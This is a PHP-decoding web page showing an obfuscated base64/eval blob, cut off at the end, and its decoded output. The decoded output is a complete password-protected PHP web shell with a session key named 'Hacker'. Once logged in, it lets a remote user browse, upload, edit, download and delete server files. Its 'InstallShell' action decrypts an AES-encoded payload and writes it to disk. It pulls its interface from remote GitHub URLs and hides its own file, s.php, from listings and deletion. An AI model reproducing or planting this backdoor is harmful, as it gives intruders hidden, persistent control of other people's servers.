Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('Z290byBFZFlEbzsgaE12OU46IGZ1bmN0aW9uIERlbGV0ZSgkcGF0aCkgeyBpZiAo..

Decoded Output download

goto EdYDo; hMv9N: function Delete($path) { if (is_dir($path) === true) { $files = array_diff(scandir($path), array(".", "..")); foreach ($files as $file) { Delete(realpath($path) . "/" . $file); } rmdir($path); } else { if (is_file($path) === true) { $parts = explode("/", $path); $last = array_pop($parts); $file = array(implode("/", $parts), $last); if ($file[1] != "s.php") { unlink($path); } } } } goto uU6az; cThp4: if (isset($_POST["data"])) { if (!isset($_SESSION["Hacker"])) { $result["success"] = true; $result["data"] = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; } else { if ($_SESSION["Hacker"] != $Hacker) { $result["success"] = true; $result["data"] = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; } else { $data = $_POST["data"]; if ($data == "Load") { $result["success"] = true; $result["data"] = "<div class="fix"><h1 class="owner">File Manager</h1><div class="newSell"><div class="newSell_title" id="dir">./</div><i id="openSell_btn" class="fa-light fa-square-plus"></i><div class="newSell_btn"> <i id="CreateFile" class="fa-light fa-file-plus"></i><i id="upload" class="fa-light fa-file-arrow-up"></i><i id="CreateFolder" class="fa-light fa-folder-plus"></i><i id="InstallShell" class="fa-light fa-shield-plus"></i><i id="closeSell_btn" class="fa-light fa-rectangle-xmark"></i></div></div></div><div id="folders"></div>"; } else { if ($data == "dir") { $dir = $_POST["dir"]; if ($dir == ".") { $undoDir = $dir . "/../"; if (is_dir($undoDir)) { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir . "">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $openedDir = $dir . "/"; } else { if (checkUndo($dir)) { $undoDir = $dir . "../"; if (is_dir($undoDir)) { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir . "">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $openedDir = $dir; } else { $parts = explode("/", $dir); $last = array_pop($parts); $undoDir = array(implode("/", $parts), $last); $output = "<div class="flex"><div id="openDir" data-dir="" . $undoDir[0] . "" class="folders">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; $openedDir = $dir . "/"; } } $openDir = ''; $titleDir = ''; $explodeDir = explode("/", $openedDir); for ($i = 0; $i < count($explodeDir); $i++) { $openDir = $openDir . $explodeDir[$i]; $ii = $i + 1; if ($ii == count($explodeDir)) { $slash = ''; } else { $slash = "/"; } $titleDir = $titleDir . "<span id="openDir" style="cursor: pointer;" data-dir="" . $openDir . "">" . $explodeDir[$i] . "</span>" . $slash; $openDir = $openDir . $slash; } $folders = scandir($dir); foreach ($folders as $folder) { if ($folder === "." or $folder === ".." or $folder === "s.php") { continue; } else { if (checkUndo($dir)) { $path = $dir . $folder; } else { $path = $dir . "/" . $folder; } if (is_file($path)) { $output .= "<div class="flex"><div class="folders" id="openFile" data-file="" . $path . ""><i class="fa-light fa-file"></i> " . $folder . "</div><div id="openLink" data-path="" . $path . "" class="size">" . file_size($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . Get_Name($path) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="download" data-dir="" . $path . "" class="fa-light fa-download"></i></div></div>"; } else { $output .= "<div class="flex"><div class="folders" id="openDir" data-dir="" . $path . ""><i class="fa-light fa-folder"></i> " . $folder . "</div><div id="openLink" data-path="" . $path . "" class="size">" . folder_size($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . Get_Name($path) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="zipDir" data-dir="" . $path . "" class="fa-light fa-file-zipper"></i></div></div>"; } } } $result["success"] = true; $result["data"] = $output; $result["dir"] = $titleDir; } else { if ($data == "zipDir") { $dir = $_POST["dir"]; $zipDir = $_POST["zipDir"]; $parts = explode("/", $zipDir); $last = array_pop($parts); $folder = array(implode("/", $parts), $last); if (checkUndo($dir)) { $zipfile = $dir . $folder[1] . ".zip"; } else { $zipfile = $dir . "/" . $folder[1] . ".zip"; } $rootPath = realpath($zipDir); $zip = new ZipArchive(); $zip->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); $result["success"] = true; } else { if ($data == "Delete") { Delete($_POST["Delete"]); $result["success"] = true; } else { if ($data == "Download") { $file = $_POST["filePath"]; header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=" . basename($file)); header("Content-Transfer-Encoding: binary"); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); ob_clean(); flush(); readfile($file); die; } else { if ($data == "Rename") { $renameDir = $_POST["renameDir"]; $newName = $_POST["newName"]; $parts = explode("/", $renameDir); $last = array_pop($parts); $dir = array(implode("/", $parts), $last); $newDir = $dir[0] . "/" . $newName; if (is_dir($newDir) === true) { $result["data"] = "2"; } else { if (is_file($newDir) === true) { $result["data"] = "2"; } else { if (rename($renameDir, $newDir)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } } $result["success"] = true; } else { if ($data == "newFile") { $dir = $_POST["dir"]; $newFileName = $_POST["newFileName"]; if (checkUndo($dir)) { $newfile = $dir . $newFileName; } else { $newfile = $dir . "/" . $newFileName; } if (is_file($newfile) === true) { $result["data"] = "2"; } else { if (file_put_contents($newfile, " ")) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "newFolder") { $dir = $_POST["dir"]; $newFolderName = $_POST["newFolderName"]; if (checkUndo($dir)) { $newfolder = $dir . $newFolderName; } else { $newfolder = $dir . "/" . $newFolderName; } if (is_dir($newfolder) === true) { $result["data"] = "2"; } else { if (mkdir($newfolder, 511, true)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "Upload") { $dir = $_POST["dir"]; $fileName = $_POST["fileName"]; if (checkUndo($dir)) { $newfile = $dir . $fileName; } else { $newfile = $dir . "/" . $fileName; } if (is_file($newfile) === true) { $result["data"] = "2"; } else { if (move_uploaded_file($_FILES["file"]["tmp_name"], $newfile)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "Open File") { $file = $_POST["file"]; $mimeType = mime_content_type($file); $type = explode("/", $mimeType); if ($type[0] == "image") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><img src="" . $file . ""></div></div>"; $result["type"] = "image"; } else { if ($type[0] == "video") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><video controls><source src="" . $file . ""></video></div></div>"; $result["type"] = "video"; } else { if ($type[0] == "audio") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><audio controls><source src="" . $file . ""></audio></div></div>"; $result["type"] = "video"; } else { if ($type[0] == "text") { if (file_get_contents($file)) { $result["content"] = file_get_contents($file); $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="addNowrap" class="fa-light fa-align-justify"></i><i id="removeNowrap" class="fa-light fa-align-slash"></i><i id="viewFileClose" class="fa-light fa-xmark"></i><i id="viewFileSave" class="fa-light fa-floppy-disk"></i></div></div><input type="hidden" id="viewFileDir" value="" . $file . ""></div></div>"; $result["type"] = "text"; } else { $result["type"] = "Permission Denied"; } } else { if ($type[0] == "application") { if ($type[1] == "octet-stream" or $type[1] == "x-csh" or $type[1] == "java-archive" or $type[1] == "json" or $type[1] == "ld+json" or $type[1] == "x-httpd-php") { if (file_get_contents($file)) { $result["content"] = file_get_contents($file); $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="addNowrap" class="fa-light fa-align-justify"></i><i id="removeNowrap" class="fa-light fa-align-slash"></i><i id="viewFileClose" class="fa-light fa-xmark"></i><i id="viewFileSave" class="fa-light fa-floppy-disk"></i></div></div><input type="hidden" id="viewFileDir" value="" . $file . ""></div></div>"; $result["type"] = "text"; } else { $result["type"] = "Permission Denied"; } } else { if ($type[1] == "zip") { $result["data"] = $file; $result["type"] = "zip"; } else { $result["type"] = $mimeType; } } } else { $result["type"] = $mimeType; } } } } } $result["success"] = true; } else { if ($data == "Update File") { $fileCode = $_POST["fileCode"]; $fileDir = $_POST["fileDir"]; if (file_put_contents($fileDir, $fileCode)) { $result["data"] = "1"; } else { $result["data"] = "2"; } $result["success"] = true; } else { if ($data == "Unzip File") { $file = $_POST["file"]; $path = pathinfo(realpath($file), PATHINFO_DIRNAME); $zip = new ZipArchive(); $res = $zip->open($file); if ($res === true) { $zip->extractTo($path); $zip->close(); $result["data"] = true; } else { $result["data"] = false; } $result["success"] = true; } else { if ($data == "autoInstall") { $dir = $_POST["dir"]; $autoInstall = explode("|SHELL|", getDecode($_POST["autoInstall"])); if (checkUndo($dir)) { $installfile = $dir . $autoInstall[0]; } else { $installfile = $dir . "/" . $autoInstall[0]; } if (is_file($installfile) === true) { $result["data"] = "2"; } else { $installContent = getContent($autoInstall[1]); if ($installContent == '') { $result["data"] = "4"; } else { if (file_put_contents($installfile, $installContent)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } } $result["success"] = true; } else { if ($data == "Uninstall") { $uninstallContent = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/uninstall/uninstall.php"); if ($uninstallContent == '') { $result["data"] = "2"; } else { if (file_put_contents("s.php", $uninstallContent)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { $result["success"] = false; } } } } } } } } } } } } } } } } echo json_encode($result); die; } else { if (isset($_POST["login"])) { $login = $_POST["login"]; if ($login == $Hacker) { $_SESSION["Hacker"] = $Hacker; $result["success"] = true; } else { $result["success"] = false; $result["data"] = "Wrong Password!"; } echo json_encode($result); die; } else { $index = getContent("https://github.com/samiulalim1/shell/raw/main/html/v1/index.html"); $style = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/style/v1/style1.css"); $script = getContent("https://github.com/samiulalim1/shell/raw/main/script/v1/script.js"); echo str_replace("|SCRIPT|", $script, str_replace("|STYLE|", $style, $index)); } } goto Hnnzg; zsBOj: function file_size($file) { $size = filesize($file); return format_size($size); } goto kloa9; uU6az: function Get_Name($path) { $parts = explode("/", $path); $last = array_pop($parts); $file = array(implode("/", $parts), $last); return $file[1]; } goto V1hNy; ATgEx: function folder_size($folder) { $size = 0; $files = scandir($folder); foreach ($files as $file) { if ($file === "." or $file === "..") { continue; } else { $path = $folder . "/" . $file; if (is_file($path)) { $size = $size + filesize($path); } else { $size = $size + folder_files($path); } } } return format_size($size); } goto zsBOj; V1hNy: function getDecode($encode) { $key = "SamiulAlim"; $chiper = "AES-128-CTR"; $iv = hex2bin("2c269a65037c190f4994f11c0f1e37c0"); return openssl_decrypt($encode, $chiper, $key, 0, $iv); } goto L5TgI; kloa9: function checkUndo($dir) { $parts = explode(".", $dir); $last = array_pop($parts); $undoDir = array(implode("/", $parts), $last); if ($undoDir[1] == "/") { return true; } else { return false; } } goto hMv9N; icnS2: error_reporting(0); goto LOiAd; nkEhB: function format_size($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . " GB"; } else { if ($size >= 1048576) { $size = number_format($size / 1048576, 2) . " MB"; } else { if ($size >= 1024) { $size = number_format($size / 1024, 2) . " KB"; } else { if ($size > 1) { $size = $size . " bytes"; } else { if ($size == 1) { $size = $size . " byte"; } else { $size = "0 bytes"; } } } } } return $size; } goto Pe5FZ; L5TgI: function getContent($url) { $context = stream_context_create(array("http" => array("header" => "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"))); return $result = file_get_contents($url, false, $context); } goto cThp4; LOiAd: $Hacker = "00101100"; goto nkEhB; Pe5FZ: function folder_files($folder) { $size = 0; $files = scandir($folder); foreach ($files as $file) { if ($file === "." or $file === "..") { continue; } else { $path = $folder . "/" . $file; if (is_file($path)) { $size = $size + filesize($path); } else { $size = $size + folder_files($path); } } } return $size; } goto ATgEx; EdYDo: session_start(); goto icnS2; Hnnzg: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('Z290byBFZFlEbzsgaE12OU46IGZ1bmN0aW9uIERlbGV0ZSgkcGF0aCkgeyBpZiAoaXNfZGlyKCRwYXRoKSA9PT0gdHJ1ZSkgeyAkZmlsZXMgPSBhcnJheV9kaWZmKHNjYW5kaXIoJHBhdGgpLCBhcnJheSgiXHgyZSIsICJcNTZceDJlIikpOyBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsgRGVsZXRlKHJlYWxwYXRoKCRwYXRoKSAuICJcNTciIC4gJGZpbGUpOyB9IHJtZGlyKCRwYXRoKTsgfSBlbHNlIHsgaWYgKGlzX2ZpbGUoJHBhdGgpID09PSB0cnVlKSB7ICRwYXJ0cyA9IGV4cGxvZGUoIlw1NyIsICRwYXRoKTsgJGxhc3QgPSBhcnJheV9wb3AoJHBhcnRzKTsgJGZpbGUgPSBhcnJheShpbXBsb2RlKCJceDJmIiwgJHBhcnRzKSwgJGxhc3QpOyBpZiAoJGZpbGVbMV0gIT0gIlwxNjNcNTZceDcwXDE1MFx4NzAiKSB7IHVubGluaygkcGF0aCk7IH0gfSB9IH0gZ290byB1VTZhejsgY1RocDQ6IGlmIChpc3NldCgkX1BPU1RbIlx4NjRcMTQxXHg3NFwxNDEiXSkpIHsgaWYgKCFpc3NldCgkX1NFU1NJT05bIlx4NDhcMTQxXDE0M1wxNTNcMTQ1XHg3MiJdKSkgeyAkcmVzdWx0WyJcMTYzXDE2NVwxNDNceDYzXDE0NVwxNjNcMTYzIl0gPSB0cnVlOyAkcmVzdWx0WyJcMTQ0XDE0MVwxNjRceDYxIl0gPSAiXHgzY1wxNDRcMTUxXDE2Nlx4MjBceDYzXHg2Y1x4NjFcMTYzXHg3M1x4M2RceDIyXDE0Mlx4NmZcMTcwXDQyXDc2XDc0XHg2OFw2MVx4MjBceDYzXHg2Y1wxNDFceDczXHg3M1x4M2RcNDJcMTY0XDE1MVwxNjRceDZjXHg2NVx4MjJcNzZceDQ2XHg2OVwxNTRcMTQ1XHgyMFx4NGRcMTQxXHg2ZVx4NjFcMTQ3XDE0NVx4NzJcNzRceDJmXDE1MFw2MVx4M2VceDNjXDE0NFwxNTFcMTY2XDQwXDE0M1wxNTRceDYxXDE2M1wxNjNcNzVcNDJceDY5XHg2ZVwxNjBcMTY1XDE2NFw0Mlw0MFwxNTFceDY0XDc1XHgyMlx4NzBceDYxXHg3M1wxNjNceDc3XHg2ZlwxNjJceDY0XDQyXHgzZVx4M2NcMTQ0XHg2OVwxNjZcNDBcMTQzXDE1NFwxNDFceDczXDE2M1x4M2RceDIyXDE1MVwxNDNcMTU3XHg2ZVx4MjJcNzZcNzRceDY5XDQwXHg2M1wxNTRcMTQxXDE2M1wxNjNceDNkXHgyMlwxNDZceDYxXDU1XDE1NFx4NjlcMTQ3XDE1MFwxNjRcNDBcMTQ2XDE0MVx4MmRceDc1XDE2M1wxNDVcMTYyXDU1XDE0M1x4NmZcMTY3XDE0Mlx4NmZcMTcxXDQyXDc2XDc0XDU3XHg2OVw3Nlx4M2NcNTdcMTQ0XHg2OVx4NzZcNzZceDNjXHg2OVx4NmVcMTYwXHg3NVx4NzRcNDBceDc0XDE3MVwxNjBceDY1XDc1XHgyMlwxNjBceDYxXDE2M1x4NzNceDc3XDE1N1x4NzJcMTQ0XHgyMlw0MFx4NjlceDY0XHgzZFw0Mlx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMlx4MjBcMTYwXDE1NFwxNDFceDYzXHg2NVx4NjhcMTU3XHg2Y1wxNDRceDY1XDE2Mlx4M2RceDIyXDQwXHgyMlw3Nlw3NFwxNTRceDYxXDE0Mlx4NjVcMTU0XHgyMFx4NjZcMTU3XHg3Mlx4M2RceDIyXHg2OVwxNTZceDcwXDE2NVwxNjRcNDJcNDBcMTUxXHg2NFw3NVx4MjJceDZjXDE0MVx4NjJceDY1XHg2Y1x4MjJcNzZcMTIwXDE0MVwxNjNceDczXHg3N1x4NmZcMTYyXHg2NFw3NFw1N1wxNTRceDYxXDE0MlwxNDVceDZjXHgzZVx4M2NcMTYzXHg3MFx4NjFceDZlXHgzZVw3NFw1N1wxNjNceDcwXHg2MVwxNTZcNzZceDNjXHgyZlwxNDRceDY5XDE2Nlw3Nlw3NFwxNDRcMTUxXHg3Nlw0MFwxNDNcMTU0XDE0MVx4NzNceDczXHgzZFx4MjJcMTQyXHg3NVx4NzRceDc0XHg2ZlwxNTZceDIyXDQwXHg2OVx4NjRcNzVcNDJceDZjXHg2ZlwxNDdcMTUxXDE1Nlw0Mlx4M2VceDNjXDE1MFx4MzFceDNlXDExNFx4NmZceDY3XHg2OVwxNTZceDIwXHg0ZVwxNTdceDc3XDc0XDU3XHg2OFx4MzFceDNlXHgzY1x4MmZcMTQ0XHg2OVwxNjZcNzZceDNjXDU3XHg2NFx4NjlceDc2XDc2IjsgfSBlbHNlIHsgaWYgKCRfU0VTU0lPTlsiXHg0OFwxNDFceDYzXHg2YlwxNDVcMTYyIl0gIT0gJEhhY2tlcikgeyAkcmVzdWx0WyJcMTYzXHg3NVx4NjNcMTQzXHg2NVx4NzNcMTYzIl0gPSB0cnVlOyAkcmVzdWx0WyJcMTQ0XDE0MVx4NzRceDYxIl0gPSAiXHgzY1x4NjRcMTUxXHg3Nlw0MFx4NjNceDZjXHg2MVx4NzNceDczXDc1XHgyMlwxNDJceDZmXDE3MFx4MjJcNzZceDNjXHg2OFw2MVw0MFx4NjNceDZjXHg2MVx4NzNcMTYzXHgzZFw0Mlx4NzRcMTUxXDE2NFwxNTRcMTQ1XHgyMlw3NlwxMDZceDY5XHg2Y1wxNDVcNDBcMTE1XDE0MVx4NmVceDYxXHg2N1x4NjVcMTYyXHgzY1x4MmZceDY4XHgzMVw3Nlx4M2NcMTQ0XHg2OVx4NzZceDIwXDE0M1x4NmNceDYxXDE2M1wxNjNcNzVcNDJcMTUxXHg2ZVx4NzBceDc1XDE2NFx4MjJcNDBceDY5XHg2NFw3NVx4MjJceDcwXDE0MVx4NzNceDczXDE2N1x4NmZcMTYyXDE0NFx4MjJcNzZceDNjXHg2NFx4NjlcMTY2XDQwXDE0M1x4NmNceDYxXHg3M1x4NzNceDNkXDQyXDE1MVwxNDNceDZmXDE1Nlw0Mlx4M2VcNzRceDY5XHgyMFx4NjNcMTU0XDE0MVx4NzNceDczXDc1XDQyXDE0NlwxNDFceDJkXHg2Y1wxNTFcMTQ3XDE1MFx4NzRcNDBcMTQ2XHg2MVx4MmRceDc1XDE2M1x4NjVcMTYyXHgyZFx4NjNceDZmXDE2N1wxNDJceDZmXHg3OVx4MjJceDNlXDc0XHgyZlx4NjlcNzZcNzRceDJmXHg2NFwxNTFceDc2XHgzZVw3NFx4NjlceDZlXHg3MFwxNjVceDc0XDQwXDE2NFx4NzlceDcwXDE0NVx4M2RcNDJcMTYwXHg2MVwxNjNcMTYzXDE2N1x4NmZceDcyXHg2NFx4MjJcNDBceDY5XDE0NFw3NVw0MlwxNTFcMTU2XHg3MFx4NzVceDc0XDQyXHgyMFx4NzBceDZjXHg2MVwxNDNceDY1XDE1MFwxNTdcMTU0XHg2NFwxNDVcMTYyXDc1XDQyXHgyMFx4MjJceDNlXHgzY1x4NmNceDYxXHg2MlwxNDVcMTU0XHgyMFx4NjZcMTU3XDE2Mlw3NVx4MjJceDY5XHg2ZVx4NzBceDc1XDE2NFw0Mlx4MjBceDY5XDE0NFw3NVx4MjJcMTU0XDE0MVx4NjJceDY1XHg2Y1w0Mlx4M2VcMTIwXHg2MVwxNjNcMTYzXHg3N1wxNTdceDcyXHg2NFw3NFw1N1wxNTRceDYxXDE0MlwxNDVceDZjXHgzZVw3NFx4NzNceDcwXDE0MVx4NmVceDNlXHgzY1w1N1wxNjNceDcwXHg2MVwxNTZcNzZcNzRcNTdceDY0XHg2OVx4NzZceDNlXHgzY1wxNDRcMTUxXHg3Nlx4MjBceDYzXDE1NFx4NjFcMTYzXHg3M1x4M2RceDIyXHg2Mlx4NzVceDc0XDE2NFx4NmZcMTU2XDQyXDQwXHg2OVwxNDRceDNkXHgyMlx4NmNcMTU3XHg2N1x4NjlceDZlXHgyMlx4M2VceDNjXHg2OFw2MVw3Nlx4NGNcMTU3XDE0N1x4NjlcMTU2XDQwXDExNlx4NmZcMTY3XHgzY1w1N1x4NjhceDMxXHgzZVx4M2NceDJmXHg2NFwxNTFceDc2XDc2XDc0XDU3XHg2NFx4NjlcMTY2XHgzZSI7IH0gZWxzZSB7ICRkYXRhID0gJF9QT1NUWyJceDY0XHg2MVwxNjRcMTQxIl07IGlmICgkZGF0YSA9PSAiXHg0Y1wxNTdcMTQxXHg2NCIpIHsgJHJlc3VsdFsiXHg3M1x4NzVceDYzXHg2M1x4NjVceDczXDE2MyJdID0gdHJ1ZTsgJHJlc3VsdFsiXDE0NFwxNDFcMTY0XHg2MSJdID0gIlx4M2NcMTQ0XDE1MVwxNjZceDIwXHg2M1x4NmNceDYxXDE2M1wxNjNcNzVceDIyXDE0Nlx4NjlceDc4XDQyXHgzZVw3NFwxNTBceDMxXDQwXDE0M1wxNTRceDYxXDE2M1x4NzNceDNkXHgyMlx4NmZcMTY3XDE1NlwxNDVcMTYyXDQyXHgzZVx4NDZcMTUxXHg2Y1wxNDVceDIwXDExNVwxNDFceDZlXDE0MVwxNDdceDY1XHg3Mlw3NFx4MmZcMTUwXHgzMVw3Nlw3NFwxNDRcMTUxXDE2Nlx4MjBcMTQzXHg2Y1wxNDFceDczXHg3M1x4M2RceDIyXDE1NlwxNDVcMTY3XHg1M1x4NjVceDZjXDE1NFw0Mlw3Nlx4M2NcMTQ0XHg2OVwxNjZcNDBcMTQzXDE1NFwxNDFcMTYzXDE2M1w3NVx4MjJceDZlXHg2NVwxNjdceDUzXDE0NVwxNTRcMTU0XHg1Zlx4NzRcMTUxXHg3NFx4NmNcMTQ1XHgyMlx4MjBcMTUxXHg2NFw3NVx4MjJceDY0XHg2OVwxNjJceDIyXDc2XDU2XDU3XDc0XHgyZlwxNDRcMTUxXDE2Nlw3Nlw3NFwxNTFceDIwXDE1MVx4NjRceDNkXHgyMlx4NmZceDcwXDE0NVwxNTZcMTIzXDE0NVx4NmNceDZjXHg1Zlx4NjJcMTY0XDE1Nlw0Mlx4MjBcMTQzXDE1NFx4NjFcMTYzXHg3M1w3NVw0MlwxNDZceDYxXHgyZFx4NmNcMTUxXHg2N1wxNTBceDc0XHgyMFx4NjZcMTQxXDU1XHg3M1x4NzFceDc1XDE0MVwxNjJceDY1XHgyZFx4NzBcMTU0XHg3NVx4NzNcNDJceDNlXDc0XHgyZlx4NjlceDNlXHgzY1wxNDRceDY5XDE2Nlw0MFx4NjNceDZjXDE0MVwxNjNcMTYzXHgzZFw0Mlx4NmVceDY1XHg3N1x4NTNcMTQ1XHg2Y1wxNTRceDVmXHg2MlwxNjRceDZlXDQyXHgzZVx4MjBceDNjXHg2OVx4MjBceDY5XDE0NFx4M2RceDIyXDEwM1x4NzJceDY1XHg2MVx4NzRcMTQ1XHg0Nlx4NjlceDZjXDE0NVw0Mlw0MFwxNDNcMTU0XDE0MVx4NzNcMTYzXHgzZFx4MjJcMTQ2XHg2MVx4MmRcMTU0XDE1MVx4NjdceDY4XDE2NFx4MjBceDY2XDE0MVx4MmRcMTQ2XHg2OVx4NmNcMTQ1XHgyZFwxNjBceDZjXHg3NVx4NzNceDIyXHgzZVx4M2NceDJmXHg2OVw3Nlw3NFx4NjlcNDBceDY5XHg2NFw3NVx4MjJcMTY1XDE2MFx4NmNcMTU3XDE0MVx4NjRceDIyXHgyMFx4NjNcMTU0XDE0MVwxNjNceDczXHgzZFw0MlwxNDZcMTQxXHgyZFx4NmNcMTUxXHg2N1x4NjhcMTY0XHgyMFx4NjZceDYxXDU1XDE0NlwxNTFcMTU0XDE0NVx4MmRcMTQxXHg3Mlx4NzJceDZmXHg3N1x4MmRcMTY1XDE2MFx4MjJcNzZceDNjXHgyZlwxNTFceDNlXDc0XDE1MVx4MjBcMTUxXDE0NFw3NVw0Mlx4NDNcMTYyXHg2NVwxNDFceDc0XHg2NVx4NDZcMTU3XHg2Y1wxNDRcMTQ1XHg3Mlx4MjJceDIwXDE0M1x4NmNcMTQxXHg3M1x4NzNcNzVceDIyXDE0NlwxNDFceDJkXHg2Y1x4NjlcMTQ3XDE1MFwxNjRcNDBceDY2XHg2MVx4MmRceDY2XHg2ZlwxNTRcMTQ0XHg2NVx4NzJcNTVcMTYwXDE1NFx4NzVceDczXHgyMlx4M2VceDNjXHgyZlx4NjlcNzZceDNjXHg2OVx4MjBcMTUxXHg2NFw3NVw0MlwxMTFcMTU2XHg3M1wxNjRcMTQxXDE1NFx4NmNceDUzXHg2OFx4NjVcMTU0XHg2Y1w0Mlw0MFwxNDNcMTU0XDE0MVwxNjNceDczXDc1XHgyMlx4NjZceDYxXHgyZFwxNTRcMTUxXHg2N1wxNTBceDc0XDQwXHg2Nlx4NjFcNTVcMTYzXHg2OFwxNTFceDY1XDE1NFx4NjRcNTVceDcwXDE1NFwxNjVcMTYzXHgyMlw3Nlx4M2NceDJmXDE1MVx4M2VcNzRceDY5XDQwXHg2OVwxNDRcNzVceDIyXDE0M1x4NmNcMTU3XDE2M1wxNDVceDUzXDE0NVwxNTRcMTU0XDEzN1x4NjJceDc0XDE1Nlw0Mlw0MFx4NjNceDZjXHg2MVwxNjNcMTYzXHgzZFw0MlwxNDZcMTQxXDU1XDE1NFx4NjlceDY3XDE1MFx4NzRceDIwXHg2NlwxNDFceDJkXHg3MlwxNDVcMTQzXDE2NFwxNDFceDZlXDE0N1x4NmNcMTQ1XDU1XHg3OFwxNTVcMTQxXDE2Mlx4NmJcNDJcNzZcNzRceDJmXDE1MVw3Nlw3NFx4MmZcMTQ0XHg2OVx4NzZcNzZcNzRceDJmXDE0NFwxNTFcMTY2XHgzZVw3NFx4MmZceDY0XDE1MVx4NzZceDNlXHgzY1x4NjRceDY5XDE2Nlx4MjBcMTUxXHg2NFw3NVw0MlwxNDZceDZmXHg2Y1x4NjRcMTQ1XHg3MlwxNjNcNDJceDNlXHgzY1x4MmZcMTQ0XDE1MVx4NzZceDNlIjsgfSBlbHNlIHsgaWYgKCRkYXRhID09ICJceDY0XHg2OVx4NzIiKSB7ICRkaXIgPSAkX1BPU1RbIlx4NjRceDY5XDE2MiJdOyBpZiAoJGRpciA9PSAiXHgyZSIpIHsgJHVuZG9EaXIgPSAkZGlyIC4gIlw1N1w1Nlw1Nlw1NyI7IGlmIChpc19kaXIoJHVuZG9EaXIpKSB7ICRvdXRwdXQgPSAiXDc0XDE0NFwxNTFcMTY2XHgyMFwxNDNceDZjXDE0MVwxNjNceDczXDc1XHgyMlx4NjZcMTU0XDE0NVx4NzhcNDJceDNlXDc0XDE0NFx4NjlceDc2XHgyMFx4NjNceDZjXDE0MVx4NzNceDczXDc1XHgyMlwxNDZceDZmXHg2Y1x4NjRcMTQ1XDE2Mlx4NzNcNDJcNDBceDY5XHg2NFw3NVx4MjJceDZmXHg3MFwxNDVcMTU2XHg0NFx4NjlceDcyXDQyXDQwXDE0NFx4NjFcMTY0XDE0MVw1NVwxNDRcMTUxXDE2Mlx4M2RceDIyIiAuICR1bmRvRGlyIC4gIlw0Mlw3Nlw1Nlx4MmVcNTdcNzRceDJmXHg2NFwxNTFcMTY2XHgzZVx4M2NceDY0XH